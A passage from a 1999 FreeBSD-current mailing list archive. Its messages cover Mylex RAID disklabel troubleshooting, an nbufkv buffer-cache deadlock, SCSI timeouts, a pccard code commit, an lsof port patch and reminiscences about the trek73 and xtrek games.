Date: Sun, 24 Oct 1999 14:08:34 -0400 To: Mike Smith From: Mike Tancsa Subject: Re: Mylex 960 Cc: freebsd-current@freebsd.org In-Reply-To: <199910241712.KAA13058@dingo.cdrom.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 01:12 PM 10/24/99 , Mike Smith wrote: >> I tried the latest this morning, and still the same issue. >> Oct 24 09:52:08 slag2a /kernel: mlx0: I/O error - attempt to writt to write >> beyond end of drive >> Oct 24 09:52:08 slag2a /kernel: mlx0: I/O error - attempt to write beyond >> end of drive >> FreeBSD 4.0-CURRENT #0: Sun Oct 24 09:34:47 EDT 1999 >> >> How should I be fdisking and disklabling the drive ? Anything different >> than >> dd if=/dev/zero of=/dev/rmlxd0 bs=1k count=1 >> disklabel -Brw mlxd0 auto >> disklabel -e mlxd0 >> newfs /dev/rmlxd0e > >That's OK as long as you make the 'e' partition correctly. Try >newfs'ing the 'c' partition instead. It'd also help to see the boot >messages from the driver and the disklabel, since it looks like the >controller and the disklabel disagree about the size of the drive. Yup, here you go Oct 24 10:41:09 slag2a /kernel: mlx0: irq 15 at device 10.0 on pci0 Oct 24 10:41:09 slag2a /kernel: mlx0: Mylex DAC960P/PD, 1 channel, firmware 3.51, 4MB RAM Oct 24 10:41:09 slag2a /kernel: mlxd0: on mlx0 Oct 24 10:41:09 slag2a /kernel: mlxd0: 4040MB (8273920 sectors), RAID 5 (online) Oct 24 10:41:09 slag2a /kernel: amr0: irq 5 at device 13.0 on pci0 Oct 24 10:41:09 slag2a /kernel: amr0: firmware UF80 bios 1.61 16MB memory, chipset e1 Oct 24 10:41:09 slag2a /kernel: amrd0: on amr0 Oct 24 10:41:09 slag2a /kernel: amrd0: 4340MB (8888320 sectors), state 0x2 properties 0x31 Oct 24 10:41:09 slag2a /kernel: Creating DISK amrd0 slag2a# newfs /dev/rmlxd0c /dev/rmlxd0c: 8273920 sectors in 2020 cylinders of 1 tracks, 4096 sectors 4040.0MB in 127 cyl groups (16 c/g, 32.00MB/g, 7936 i/g) slag2a# disklabel mlxd0 # /dev/rmlxd0c: type: SCSI disk: amnesiac label: flags: bytes/sector: 512 sectors/track: 32 tracks/cylinder: 128 sectors/cylinder: 4096 cylinders: 2020 sectors/unit: 8273920 rpm: 3600 interleave: 1 trackskew: 0 cylinderskew: 0 headswitch: 0 # milliseconds track-to-track seek: 0 # milliseconds drivedata: 0 8 partitions: # size offset fstype [fsize bsize bps/cpg] c: 8273920 0 4.2BSD 1024 8192 16 # (Cyl. 0 - 2019) slag2a# fdisk mlxd0 ******* Working on device /dev/rmlxd0 ******* parameters extracted from in-core disklabel are: cylinders=2020 heads=128 sectors/track=32 (4096 blks/cyl) Figures below won't work with BIOS for partitions not in cyl 1 parameters to be used for BIOS calculations are: cylinders=2020 heads=128 sectors/track=32 (4096 blks/cyl) Media sector size is 512 Warning: BIOS sector numbering starts with sector 1 Information from DOS bootblock is: The data for partition 1 is: The data for partition 2 is: The data for partition 3 is: The data for partition 4 is: sysid 165,(FreeBSD/NetBSD/386BSD) start 0, size 50000 (24 Meg), flag 80 (active) beg: cyl 0/ sector 1/ head 0; end: cyl 1023/ sector 63/ head 255 Hmmm... This last bit looks odd. ---Mike ********************************************************************** Mike Tancsa, Network Admin * mike@sentex.net Sentex Communications Corp, * http://www.sentex.net/mike Cambridge, Ontario * 01.519.651.3400 Canada * To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 24 11:23:36 1999 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 7BD76150D1 for ; Sun, 24 Oct 1999 11:23:32 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id LAA01257; Sun, 24 Oct 1999 11:21:01 -0700 (PDT) (envelope-from dillon) Date: Sun, 24 Oct 1999 11:21:01 -0700 (PDT) From: Matthew Dillon Message-Id: <199910241821.LAA01257@apollo.backplane.com> To: Darryl Okahata Cc: freebsd-current@FreeBSD.ORG Subject: Re: trek73 References: <199910240822.BAA04463@mina.sr.hp.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :Matthew Dillon wrote: : :> I found a copy of the C version of trek73 in my Amiga archives. This :> is the trek73 originally written in HP-2000 Basic that was rewritten :> by Dave Pare and Chris Williams in C and seriously enhanced by a bunch :> of people including me in my early college years circa 1985. : : Wow. Talk about ancient history. : : Out of curiosity, how different is this version from the one (V4.0) :posted to comp.sources.games back in December, 1987? Hmm... it looks like the one I have is older. It looks like Jeff had made a huge number of enhancements between 1985 and 1988! Pretty cool, actually, though neither game is multi-player. I'll create a port of Jeff's latest (if you can call 11 years 'latest'!). -Matt Matthew Dillon : Just FYI, if this is the Jeff Okamoto I'm thinking about, he's with :HP. : :-- : Darryl Okahata : darrylo@sr.hp.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 24 11:24:18 1999 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id BDB721511B for ; Sun, 24 Oct 1999 11:24:16 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id LAA01274; Sun, 24 Oct 1999 11:24:04 -0700 (PDT) (envelope-from dillon) Date: Sun, 24 Oct 1999 11:24:04 -0700 (PDT) From: Matthew Dillon Message-Id: <199910241824.LAA01274@apollo.backplane.com> To: Jim Bryant Cc: chuckr@picnic.mat.net (Chuck Robey), freebsd-current@FreeBSD.ORG Subject: Re: trek73 References: <199910240821.DAA29152@argus.tfs.net> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :we used to play a startrek [multi-user] at buena high school in :ventura on the PDP-11/44 and was written in BASIC-Plus 2 under RSTS/E :in 1984. It could have been a port of the same game... i've been :looking for that one for years. i lost my only listing of that in one :of my moves to texas from calif in 1986... : :jim :-- :jbryant@tfs.net - KC5VDJ HF to 23cm grid: EM28pw - http://www.tfs.net/~jbryant :------------------------------------------------------------------------------ I think I know the one you are talking about, but I don't have the source to it. If it's the one I think then it is on a completely different track. Either a different base alltogether or it was split off from the original HP2000 Basic version before the conversion. Trek73 isn't multiplayer. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 24 12:10: 8 1999 Delivered-To: freebsd-current@freebsd.org Received: from cx344940-a.meta1.la.home.com (cx344940-a.meta1.la.home.com [24.6.21.74]) by hub.freebsd.org (Postfix) with ESMTP id D5B1914BFD for ; Sun, 24 Oct 1999 12:10:05 -0700 (PDT) (envelope-from conrads@cx344940-a.meta1.la.home.com) Received: (from conrads@localhost) by cx344940-a.meta1.la.home.com (8.9.3/8.9.2) id OAA40933 for freebsd-current@freebsd.org; Sun, 24 Oct 1999 14:10:04 -0500 (CDT) (envelope-from conrads) Message-ID: X-Mailer: XFMail 1.3.2pre1 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Sun, 24 Oct 1999 14:10:03 -0500 (CDT) Organization: @Home Network From: Conrad Sabatier To: freebsd-current@freebsd.org Subject: Info needed re: new userconfig scripting and PnP Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Someone just mailed me this heads up about my AWE soundcard setup tutorial at http://members.home.net/conrads/awepnp-freebsd.html. As this is the first I've heard about this, I'd greatly appreciate it if someone could fill me in on the details, so I can update the info on my web site. Thanks! BTW, I'm subscribed to -current now, so you can reply to the list. -----FW: <199910241850.OAA00480@d142-l036.rh.rit.edu>----- Date: Sun, 24 Oct 1999 14:50:46 -0400 (EDT) From: Matt Dibb To: conrads@home.com Subject: http://members.home.net/conrads/awepnp-freebsd.html Your SB AWE-card how-to is quite helpful, but slightly flawed. You indicate that the procedures listed apply to FreeBSD 3.x and -CURRENT, but this is not so. While the kernel config lines compile fine under 3.x and 4.0, the userconfig script employs the "pnp" keyword to explicitly define which slots/irqs/dmas to probe, but, much to my dismay, this command was eliminated when the userconfig program was reworked for FreeBSD-Current this summer. I am writing to you to inquire as to whether another method (even if less conventional) exists for instructing the kernel to probe all these slots. The kernel syntax doesn't accomodate multiple ports for devices [that I know of], so I've had no luck getting AWE64 support with VoxWare drvs. If you could advise me on a way to get the slots probed right without the "pnp" keyword in userconfig, I'd be most grateful. --------------End of forwarded message------------------------- -- Conrad Sabatier http://members.home.net/conrads/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 24 12:23:24 1999 Delivered-To: freebsd-current@freebsd.org Received: from cx344940-a.meta1.la.home.com (cx344940-a.meta1.la.home.com [24.6.21.74]) by hub.freebsd.org (Postfix) with ESMTP id C4E1314BFD for ; Sun, 24 Oct 1999 12:23:22 -0700 (PDT) (envelope-from conrads@cx344940-a.meta1.la.home.com) Received: (from conrads@localhost) by cx344940-a.meta1.la.home.com (8.9.3/8.9.2) id OAA43466; Sun, 24 Oct 1999 14:23:19 -0500 (CDT) (envelope-from conrads) Message-ID: X-Mailer: XFMail 1.3.2pre1 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <000b01bf0b75$c2b6c3e0$87306880@rickyip> Date: Sun, 24 Oct 1999 14:23:18 -0500 (CDT) Organization: @Home Network From: Conrad Sabatier To: Rick Yip Subject: Re: sound etc, Cc: freebsd-current@FreeBSD.ORG Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 30-Sep-99 Rick Yip wrote: > Hi! > > I have bought the official version of FreeBSD 3.2 and tried to get > the sound to work but it doesn't. I tried 4Front's software but > that doesn't work either. I get messages that I can't configure > /dev/dsp: device is busy all of the time. Somtimes I can't > "allocate 32768 M " problems. After reading a how-to on AWE (I > have a SoundBlaster AWE64 PnP) sound cards > http://members.home.net/conrads/awepnp-freebsd.html, it still > doesn't work. The information on my site was slightly inaccurate/out of date until recently. You may want to have another look and try it again, since I just updated it and (I think) the information there is now good (at least for less-than-current versions). -- Conrad Sabatier http://members.home.net/conrads/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 24 14:20:35 1999 Delivered-To: freebsd-current@freebsd.org Received: from alcanet.com.au (border.alcanet.com.au [203.62.196.10]) by hub.freebsd.org (Postfix) with ESMTP id AD0ED15142 for ; Sun, 24 Oct 1999 14:20:24 -0700 (PDT) (envelope-from jeremyp@gsmx07.alcatel.com.au) Received: by border.alcanet.com.au id <40323>; Mon, 25 Oct 1999 07:15:34 +1000 Content-return: prohibited Date: Mon, 25 Oct 1999 07:20:18 +1000 From: Peter Jeremy Subject: Deadlock in nbufkv To: freebsd-current@FreeBSD.ORG Reply-To: peter.jeremy@alcatel.com.au Message-Id: <99Oct25.071534est.40323@border.alcanet.com.au> MIME-version: 1.0 X-Mailer: Mutt 1.0pre3i Content-type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've recently upgraded a system from 3.2-RELEASE to -CURRENT as of 30-Sept (just before the signal changes). I now find that when I try to do a CVS checkout, the system hangs, with cvs in `nbufkv'. The CVSROOT is on a filesystem with standard 8K/1K blocks. The target FS is 32k/4k. Both FS are running softupdates. This worked without problem under 3.2. The kernel config files are basically the same (modulo config(8) changes). FWIW, it has 'maxusers 5' and no other options over-riding default kernel memory sizes. I notice that Matt Dillon found his FS stress program also hung in nbufkv, but that was with 64k blocks. Other than that, I can't find any reference to nbufkv here, in the PR list or in the sys commitlogs. Does anyone have any ideas? Should I just go back to 8K/1K blocks? Peter -- Peter Jeremy (VK2PJ) peter.jeremy@alcatel.com.au Alcatel Australia Limited 41 Mandible St Phone: +61 2 9690 5019 ALEXANDRIA NSW 2015 Fax: +61 2 9690 5982 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 24 14:34:41 1999 Delivered-To: freebsd-current@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 4835015126 for ; Sun, 24 Oct 1999 14:34:39 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from beppo.feral.com (beppo [192.67.166.79]) by feral.com (8.8.7/8.8.7) with ESMTP id OAA28491; Sun, 24 Oct 1999 14:33:36 -0700 Date: Sun, 24 Oct 1999 14:33:34 -0700 (PDT) From: Matthew Jacob Reply-To: mjacob@feral.com To: peter.jeremy@alcatel.com.au Cc: freebsd-current@FreeBSD.ORG Subject: Re: Deadlock in nbufkv In-Reply-To: <99Oct25.071534est.40323@border.alcanet.com.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG You know, I noticed this also yesterday, but with a current as of yesterday. It wasn't a complete hang. Eventually it recovered and went into sbwait. The filesystem in question was a 32k/8k fs. I remade the filesystem into 8k/1k, and things went better, but also then went onto other things (the disk was an experimental disk also). On Mon, 25 Oct 1999, Peter Jeremy wrote: > I've recently upgraded a system from 3.2-RELEASE to -CURRENT as of > 30-Sept (just before the signal changes). I now find that when > I try to do a CVS checkout, the system hangs, with cvs in `nbufkv'. > > The CVSROOT is on a filesystem with standard 8K/1K blocks. The > target FS is 32k/4k. Both FS are running softupdates. This worked > without problem under 3.2. The kernel config files are basically > the same (modulo config(8) changes). FWIW, it has 'maxusers 5' > and no other options over-riding default kernel memory sizes. > > I notice that Matt Dillon found his FS stress program also hung in > nbufkv, but that was with 64k blocks. Other than that, I can't > find any reference to nbufkv here, in the PR list or in the sys > commitlogs. > > Does anyone have any ideas? Should I just go back to 8K/1K blocks? > > Peter > -- > Peter Jeremy (VK2PJ) peter.jeremy@alcatel.com.au > Alcatel Australia Limited > 41 Mandible St Phone: +61 2 9690 5019 > ALEXANDRIA NSW 2015 Fax: +61 2 9690 5982 > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 24 14:42:17 1999 Delivered-To: freebsd-current@freebsd.org Received: from alcanet.com.au (border.alcanet.com.au [203.62.196.10]) by hub.freebsd.org (Postfix) with ESMTP id C577815121; Sun, 24 Oct 1999 14:42:11 -0700 (PDT) (envelope-from jeremyp@gsmx07.alcatel.com.au) Received: by border.alcanet.com.au id <40327>; Mon, 25 Oct 1999 07:37:18 +1000 Content-return: prohibited Date: Mon, 25 Oct 1999 07:41:59 +1000 From: Peter Jeremy Subject: SCSI CCB timeouts accessing disk To: freebsd-current@FreeBSD.ORG, freebsd-scsi@FreeBSD.ORG Reply-To: peter.jeremy@alcatel.com.au Message-Id: <99Oct25.073718est.40327@border.alcanet.com.au> MIME-version: 1.0 X-Mailer: Mutt 1.0pre3i Content-type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've temporarily attached a Seagate ST32151N to a 1542B on a -current system to try and setup the disk for another system. Unfortunately, although the disk reports it is OK, I can't read or write. The relevant probe messages are: Oct 24 15:05:50 /kernel: aha0 at port 0x334-0x337 irq 11 drq 6 on isa0 Oct 24 15:05:50 /kernel: aha0: AHA-1540/1542 64 head BIOS FW Rev. 0.5 (ID=41) SCSI Host Adapter, SCSI ID 7, 16 CCBs ... Oct 24 15:05:51 /kernel: da0 at aha0 bus 0 target 0 lun 0 Oct 24 15:05:51 /kernel: da0: Fixed Direct Access SCSI-2 device Oct 24 15:05:51 /kernel: da0: 5.000MB/s transfers (5.000MHz, offset 7) Oct 24 15:05:51 /kernel: da0: 2049MB (4197405 512 byte sectors: 64H 32S/T 2049C) When I try to read or write the disk (eg `disklabel da0', `dd if=/dev/rda0 ...' or `dd of=/dev/rda0 ...'), I get: Oct 24 15:10:39 /kernel: (da0:aha0:0:0:0): CCB 0xc2d78508 - timed out Oct 24 15:11:21 /kernel: (da0:aha0:0:0:0): CCB 0xc2d78508 - timed out Oct 24 15:11:21 /kernel: aha0: aha_cmd: Timeout waiting for adapter idle Oct 24 15:11:21 /kernel: ahainitmboxes: Initialization command failed Oct 24 15:11:21 /kernel: aha0: No longer in timeout Does anyone have any ideas? Peter -- Peter Jeremy (VK2PJ) peter.jeremy@alcatel.com.au Alcatel Australia Limited 41 Mandible St Phone: +61 2 9690 5019 ALEXANDRIA NSW 2015 Fax: +61 2 9690 5982 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 24 15:57:49 1999 Delivered-To: freebsd-current@freebsd.org Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226]) by hub.freebsd.org (Postfix) with ESMTP id 3F85E15141 for ; Sun, 24 Oct 1999 15:57:37 -0700 (PDT) (envelope-from darrylo@sr.hp.com) Received: from postal.sr.hp.com (root@postal.sr.hp.com [15.4.46.173]) by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id PAA08391; Sun, 24 Oct 1999 15:57:16 -0700 (PDT) Received: from mina.sr.hp.com (root@mina.sr.hp.com [15.4.42.247]) by postal.sr.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0) id PAA06394; Sun, 24 Oct 1999 15:57:13 -0700 (PDT) Received: from localhost (darrylo@mina.sr.hp.com [15.4.42.247]) by mina.sr.hp.com with ESMTP (8.8.6 (PHNE_17135)/8.7.3 TIS 5.0) id PAA21562; Sun, 24 Oct 1999 15:56:45 -0700 (PDT) Message-Id: <199910242256.PAA21562@mina.sr.hp.com> To: Matthew Dillon Cc: freebsd-current@FreeBSD.ORG Subject: Re: trek73 Reply-To: Darryl Okahata In-reply-to: Your message of "Sun, 24 Oct 1999 11:21:01 PDT." <199910241821.LAA01257@apollo.backplane.com> Mime-Version: 1.0 (generated by tm-edit 7.108) Content-Type: text/plain; charset=US-ASCII Date: Sun, 24 Oct 1999 15:56:44 -0700 From: Darryl Okahata Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Matthew Dillon wrote: > Hmm... it looks like the one I have is older. It looks like Jeff had > made a huge number of enhancements between 1985 and 1988! Pretty cool, > actually, though neither game is multi-player. Well, for multi-player, we had the most fun with "xtrek" (the early version -- not the later, ultra-enhanced releases). For those of you too young to remember ;-), xtrek was an X11, multi-player (up to 16?), real-time game where you flew a ship (e.g., Federation, Klingon, Romulan, or Orion) and tried to kill the other players. You could also conquer your opponent's planets, but few people did that, as it was much more fun to go after other players. The view was 2D/top-down, looking down into a flat map of the universe, upon which your ships flew. Back around '88 or '89, we used to have a fair number of people playing after-hours. Although it had very primitive graphics by today's (or even yesterday's) standards, xtrek was easy-to-learn, easy-to-play, and a blast to play. It was extremely maddening to watch your opponent, who you were sure was toast, due to the massive photon torpedo burst you sent his way, deftly weave and avoid the torpedos, and kill you with a point-blank phaser blast. For all it's simplicity, skill played a significant part. We only stopped playing xtrek when I foolishly upgraded to one of the latest-and-greatest, ultra-feature-burdened versions. No one played it, as it was too difficult to play, and the play was unbalanced. One thing about the early xtrek: it was a funky program, as it wasn't client/server-based (later versions were, but they weren't as much fun to play). It was basically a single program/server, which opened up a window on each player's display. Still, performance was pretty good (on a *local* LAN), even on ten-year-old RISC hardware. -- Darryl Okahata darrylo@sr.hp.com DISCLAIMER: this message is the author's personal opinion and does not constitute the support, opinion, or policy of Hewlett-Packard, or of the little green men that have been following him all day. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 24 19:50:47 1999 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id BD6FD1516A for ; Sun, 24 Oct 1999 19:50:45 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id TAA70038; Sun, 24 Oct 1999 19:49:36 -0700 (PDT) (envelope-from dillon) Date: Sun, 24 Oct 1999 19:49:36 -0700 (PDT) From: Matthew Dillon Message-Id: <199910250249.TAA70038@apollo.backplane.com> To: Peter Jeremy Cc: freebsd-current@FreeBSD.ORG Subject: Re: Deadlock in nbufkv References: <99Oct25.071534est.40323@border.alcanet.com.au> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :I've recently upgraded a system from 3.2-RELEASE to -CURRENT as of :30-Sept (just before the signal changes). I now find that when :I try to do a CVS checkout, the system hangs, with cvs in `nbufkv'. : :The CVSROOT is on a filesystem with standard 8K/1K blocks. The :target FS is 32k/4k. Both FS are running softupdates. This worked :without problem under 3.2. The kernel config files are basically :the same (modulo config(8) changes). FWIW, it has 'maxusers 5' :and no other options over-riding default kernel memory sizes. : :I notice that Matt Dillon found his FS stress program also hung in :nbufkv, but that was with 64k blocks. Other than that, I can't :find any reference to nbufkv here, in the PR list or in the sys :commitlogs. : :Does anyone have any ideas? Should I just go back to 8K/1K blocks? : :Peter For production you should definitely go back to 8K/1K blocks. If you want to help track down the sleep/wakeup problem causing the nbufkv lockup you should leave them at 32K or higher. I just recently committed a couple of changes that should fix some of the nbufkv lockups. There are probably still some holes I haven't plugged. Essentially what occurs is that the larger block size exercises a portion of the buffer cache not usually exercised -- the KVM defragmentation code, and there are instances where processes sleep waiting for buffer cache KVM (nbufkv) but never get woken up again. :-- :Peter Jeremy (VK2PJ) peter.jeremy@alcatel.com.au :Alcatel Australia Limited :41 Mandible St Phone: +61 2 9690 5019 :ALEXANDRIA NSW 2015 Fax: +61 2 9690 5982 -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 24 20:22:59 1999 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id E824F14A24; Sun, 24 Oct 1999 20:22:48 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id VAA28877; Sun, 24 Oct 1999 21:22:47 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id VAA38146; Sun, 24 Oct 1999 21:23:26 -0600 (MDT) Message-Id: <199910250323.VAA38146@harmony.village.org> To: current@freebsd.org, mobile@freebsd.org Cc: comitters@freebsd.org Reply-To: mobile@freebsd.org Subject: HEADS UP: pccard code committed Date: Sun, 24 Oct 1999 21:23:26 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG After talking with Peter Wemm and others at FreeBSD Con, I've reached the point where I can commit the pccard code that supports sio. It also supports ep and should shortly support ed. Card ejection (including suspend) doesn't work, which I'll try to fix at some point, but I might not get around to fixing that before new pccard work begins. I think it would be easy to mostly fix (like the old code mostly worked) with more thought on how to do this (see -arch for a message related tot his problem). Unit numbers may have changed on people, as they are now ignored from pccardd. Also, some people may need to modify their config files to have devices continue to work (this is true if you have device ep0 at isa? .... and may be true for ed0 as well). See PCCARD for details, and use its methods if it should differ from LINT or GENERIC (and report the differences to me). These changes are quite extensive and potentially disruptive, so bear that in mind when making your upgrade decision. Read -current or -mobile for problem reports. Your milage may vary. My profuse appologies for not having this three days ago. It turned out to be a more extensive rewrite of the old pccard code than I had planned on doing. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 24 20:33: 1 1999 Delivered-To: freebsd-current@freebsd.org Received: from picnic.mat.net (picnic.mat.net [206.246.122.133]) by hub.freebsd.org (Postfix) with ESMTP id 948EF15187 for ; Sun, 24 Oct 1999 20:32:50 -0700 (PDT) (envelope-from chuckr@picnic.mat.net) Received: from localhost (chuckr@localhost [127.0.0.1]) by picnic.mat.net (8.9.3/8.9.3) with ESMTP id XAA86610 for ; Sun, 24 Oct 1999 23:32:42 -0400 (EDT) (envelope-from chuckr@picnic.mat.net) Date: Sun, 24 Oct 1999 23:32:42 -0400 (EDT) From: Chuck Robey To: FreeBSD-current@freebsd.org Subject: lsof broken Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It's broken trying to work with the name cache, and dies because it can't find the name NCACHE. Where is this guy? ---------------------------------------------------------------------------- Chuck Robey | Interests include C programming, Electronics, 213 Lakeside Dr. Apt. T-1 | communications, and signal processing. Greenbelt, MD 20770 | I run picnic.mat.net: FreeBSD-current(i386) and (301) 220-2114 | jaunt.mat.net : FreeBSD-current(Alpha) ---------------------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 25 1: 6:25 1999 Delivered-To: freebsd-current@freebsd.org Received: from lion.butya.kz (butya-gw.butya.kz [194.87.112.252]) by hub.freebsd.org (Postfix) with ESMTP id 9D1BB1507F for ; Mon, 25 Oct 1999 01:06:10 -0700 (PDT) (envelope-from bp@butya.kz) Received: from bp (helo=localhost) by lion.butya.kz with local-esmtp (Exim 2.12 #1) id 11ff8T-0003pT-00; Mon, 25 Oct 1999 15:05:45 +0700 Date: Mon, 25 Oct 1999 15:05:45 +0700 (ALMST) From: Boris Popov To: Bill Paul Cc: current@FreeBSD.ORG Subject: Re: Texas Chainsaw Monday In-Reply-To: <199910221746.NAA13645@skynet.ctr.columbia.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 22 Oct 1999, Bill Paul wrote: > > > install -c -s -o root -g wheel -m 555 mount_nwfs /vol2/release/sbin > > > install: mount_nwfs: No such file or directory > > > > Ok, it seems that I found why mount_nwfs failed to build: I'm use > > 'install' instead of ${INSTALL} in the libncp. > > Unfortunately, this has not fixed the problem: the build report for > today (Oct 22) shows the same error. Well, today (Oct 25) I've done my own 'make release' and it wents fine (fix for netgraph.h sent to Julian). I think that the error message that you saw, was caused by first 'installworld' - source tree was updated but not rebuiled and 'make world' even didn't happens. -- Boris Popov http://www.butya.kz/~bp/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 25 2:43:42 1999 Delivered-To: freebsd-current@freebsd.org Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175]) by hub.freebsd.org (Postfix) with ESMTP id 875C515111 for ; Mon, 25 Oct 1999 02:43:34 -0700 (PDT) (envelope-from sheldonh@axl.noc.iafrica.com) Received: from sheldonh (helo=axl.noc.iafrica.com) by axl.noc.iafrica.com with local-esmtp (Exim 3.040 #1) id 11fgem-0000Py-00; Mon, 25 Oct 1999 11:43:12 +0200 From: Sheldon Hearn To: Chuck Robey Cc: FreeBSD-current@FreeBSD.ORG Subject: Re: lsof broken In-reply-to: Your message of "Sun, 24 Oct 1999 23:32:42 -0400." Date: Mon, 25 Oct 1999 11:43:12 +0200 Message-ID: <1609.940844592@axl.noc.iafrica.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 24 Oct 1999 23:32:42 -0400, Chuck Robey wrote: > It's broken trying to work with the name cache, and dies because it can't > find the name NCACHE. Where is this guy? I use the following patch to patches/patch-aa for CURRENT. I've no idea what this does to STABLE. Ciao, Sheldon. Index: patches/patch-aa =================================================================== RCS file: /home/ncvs/ports/sysutils/lsof/patches/patch-aa,v retrieving revision 1.2 diff -u -d -r1.2 patch-aa --- patch-aa 1997/02/04 08:30:22 1.2 +++ patch-aa 1999/10/25 09:39:34 @@ -1,6 +1,15 @@ --- dialects/freebsd/machine.h.orig Fri Jan 17 23:15:41 1997 +++ dialects/freebsd/machine.h Tue Feb 4 17:23:58 1997 -@@ -291,7 +291,7 @@ +@@ -217,7 +217,7 @@ + * cache whose cache and vnodes are linked by a capability ID. + */ + +-#define HASNCACHE 1 ++/* #define HASNCACHE 1 */ + #define HASNCAPID 1 + + +@@ -355,7 +355,7 @@ * (the one that its user logged on with) of the lsof process. */ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 25 4:37:48 1999 Delivered-To: freebsd-current@freebsd.org Received: from cx344940-a.meta1.la.home.com (cx344940-a.meta1.la.home.com [24.6.21.74]) by hub.freebsd.org (Postfix) with ESMTP id 5CD4614A10 for ; Mon, 25 Oct 1999 04:37:45 -0700 (PDT) (envelope-from conrads@cx344940-a.meta1.la.home.com) Received: (from conrads@localhost) by 